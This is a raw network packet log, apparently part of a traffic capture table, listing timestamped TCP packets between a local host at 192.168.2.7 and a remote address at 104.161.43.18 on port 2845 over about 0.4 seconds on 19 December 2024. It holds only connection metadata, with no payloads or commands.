Dec 19, 2024 13:45:16.248347044 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.248403072 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.250318050 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.250416040 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.250493050 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.252274990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.252384901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.252441883 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.254276037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.254374981 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.254420996 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.256191969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.256378889 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.256426096 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.258275986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.258549929 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.258723974 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.260202885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.260219097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.260260105 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.262073040 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.262203932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.262561083 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.264061928 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.264079094 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.264130116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.266094923 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.266140938 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.266185999 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.268096924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.268141031 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.268189907 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.270057917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.270190001 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.270232916 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.272000074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.272016048 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.272056103 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.273971081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.274079084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.274794102 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.275913000 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.275984049 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.276026964 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.277849913 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.277956963 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.278110981 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.279865980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.279882908 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.281775951 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.281814098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.281905890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.281944990 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.283812046 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.283828020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.283874035 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.285738945 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.285912037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.286642075 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.287684917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.287811041 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.287877083 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.289669991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.289766073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.290527105 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.291745901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.291763067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.291821957 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.293620110 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.293736935 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.293786049 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.295595884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.295883894 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.295937061 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.297589064 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.297604084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.297667027 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.299540043 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.299582005 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.299647093 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.301476002 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.301641941 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.301722050 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.303566933 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.303632975 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.303766012 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.305553913 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.305648088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.306313992 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.307382107 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.307655096 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.307706118 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.309452057 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.309469938 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.309529066 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.311386108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.311619043 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.311666012 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.313457012 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.313581944 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.314874887 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.315332890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.315463066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.317723989 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.403834105 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.404062986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.404139996 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.404664993 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.404680967 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.404764891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.406107903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.406250000 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.406296968 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.407668114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.408014059 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.408060074 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.409254074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.409271002 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.409310102 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.410670996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.410753965 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.410859108 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.412098885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.412214994 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.412295103 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.413557053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.413691044 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.413738012 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.415096045 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.415147066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.415241003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.416440964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.416585922 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.417990923 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.418056011 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.418082952 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.418132067 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.419279099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.419364929 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.419404030 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.420700073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.420773029 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.420819998 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.422043085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.422115088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.422153950 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.423384905 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.423438072 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.423487902 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.424778938 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.424916029 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.424956083 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.426129103 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.426235914 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.426280022 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.427530050 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.427545071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.427592039 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.428759098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.428805113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.428855896 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.430193901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.430219889 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.430259943 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.431478024 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.431538105 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.431574106 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.432701111 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.432976961 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.433041096 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.434129953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.434145927 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.434185982 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.435218096 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.435337067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.435374022 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.436492920 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.436702967 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.436748981 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.437760115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.437912941 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.437964916 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.439070940 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.439150095 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.439188957 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.440283060 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.440505981 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.441534042 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.441596031 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.441636086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.441679955 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.442780018 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.442887068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.442935944 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.444062948 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.444236994 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.444297075 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.445357084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.445451975 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.445791006 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.446686983 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.446702957 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.446767092 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.447820902 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.447931051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.448051929 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.449038982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.449168921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.449210882 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.450335979 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.450351954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.450388908 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.451561928 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.451576948 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.451627016 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.452758074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.452884912 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.452929974 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.454020023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.454165936 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.454210043 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.455336094 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.455408096 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.455504894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.456506014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.456522942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.456569910 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.457762003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.457839966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.457890034 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.459165096 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.459331989 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.459553003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.460308075 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.460408926 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.460450888 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.461597919 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.461615086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.461662054 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.462769032 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.462785959 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.462826014 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.464080095 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.464098930 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.464145899 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.465279102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.465396881 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.465440989 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.466511965 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.466825008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.467068911 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.467829943 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.467844963 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.467880964 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.469007015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.469078064 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.469130993 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.470326900 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.470449924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.470495939 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.471518040 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.471647024 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.471736908 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.472994089 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.525657892 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.595536947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.595731020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.595772982 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.595994949 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.596122026 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.596169949 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.597071886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.597187042 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.597325087 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.598212957 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.598231077 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.598280907 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.599359989 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.599414110 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.599458933 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.600251913 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.600323915 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.600491047 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.601233006 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.601383924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.601428032 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.602210999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.602425098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.602467060 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.603518009 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.603543997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.604307890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.604381084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.604489088 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.604489088 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.605387926 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.605448008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.605509996 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.606410980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.606472969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.606519938 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.607384920 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.607491016 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.607566118 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.608407021 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.608567953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.608608961 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.609498978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.609555006 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.609626055 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.610445976 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.610564947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.610604048 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.611542940 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.611845970 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.611979961 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.612730980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.612746954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.612788916 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.613733053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.613748074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.613809109 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.614623070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.614639044 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.614686012 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.615664005 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.615768909 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.615833044 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.616839886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.616910934 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.616961002 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:16.618050098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:16.618103981 CET	2845	49943	104.161.43.18	192.168.2.7
